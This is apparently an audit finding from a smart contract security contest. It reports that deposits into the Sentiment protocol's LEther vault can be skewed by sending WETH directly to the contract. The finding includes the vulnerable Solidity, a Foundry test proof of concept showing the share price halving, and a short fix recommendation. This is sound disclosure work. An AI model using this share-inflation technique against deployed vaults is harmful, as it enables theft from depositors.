8olidity

high

# An attacker can control the calculation of `LEther::depositEth()`

## Summary
An attacker can control the calculation of `LEther::depositEth()`
## Vulnerability Detail
In `depositEth()`, `shares` are counted based on the number of `assets` passed in by the user,
```solidity
    function depositEth() external payable returns (uint shares) {
        uint assets = msg.value;

        beforeDeposit(assets, shares);
        if ((shares = previewDeposit(assets)) == 0) revert Errors.ZeroShares();

        IWETH(address(asset)).deposit{value: assets}();

        _mint(msg.sender, shares);
        emit Deposit(msg.sender, msg.sender, assets, shares);
    }
```
The result of `shares` is calculated by `previewDeposit()`

```solidity
    function previewDeposit(uint256 assets) public view virtual returns (uint256) {
        return convertToShares(assets);
    }

    function convertToShares(uint256 assets) public view virtual returns (uint256) {
        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.

        return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
    }
```
As you can see, the actual `shares` are counted by both `supply` and `totalassets()`, while `totalassets()` are counted by the `assets` of the contract, so an attacker could send `asset tokens` to the contract to manipulate the result of `convertToShares()`

#### poc
Tests found that if an attacker sent weth directly to the LETHer.sol contract, it affected the outcome of the next `depositeth()`. Reference `testDeFFFF()`, the second user `depositEth()` will result in `500000000000000000`, while in normal `testDeXXXX()`, the second user will call `depositEth()` with `1000000000000000000`

```solidity

    function testDeFFFF() public {
        // Setup
        uint256 amt = 10 ** 18;
        cheats.deal(lender, amt*2);
        // Test1 
        cheats.prank(lender);
        lEth.depositEth{value: amt}();
        emit log_named_uint("lEth.convertToShares(amt)",lEth.convertToShares(amt)); //  1000000000000000000
        cheats.startPrank(lender);
        weth.deposit{value: amt}();
        weth.transfer(address(lEth),amt);
        cheats.stopPrank();
        emit log_named_uint("lEth.convertToShares(amt)",lEth.convertToShares(amt)); // 500000000000000000
    }

    function testDeXXXX() public {
        // Setup
        uint256 amt = 10 ** 18;
        cheats.deal(lender, amt*2);
        // Test1 
        cheats.prank(lender);
        lEth.depositEth{value: amt}();
        emit log_named_uint("lEth.convertToShares(amt)",lEth.convertToShares(amt)); //  1000000000000000000
        cheats.prank(lender);
        lEth.depositEth{value: amt}();
        emit log_named_uint("lEth.convertToShares(amt)",lEth.convertToShares(amt)); // 1000000000000000000
    }
```



## Impact
An attacker can control the calculation of `LEther::depositEth()`
## Code Snippet
https://github.com/sherlock-audit/2022-11-sentiment/blob/main/protocol-merged/src/tokens/LEther.sol#L35
https://github.com/sherlock-audit/2022-11-sentiment/blob/main/protocol-merged/src/tokens/utils/ERC4626.sol#L145-L159
## Tool used

Manual Review

## Recommendation
Instead of using the contract's own money to calculate, record the value of both assets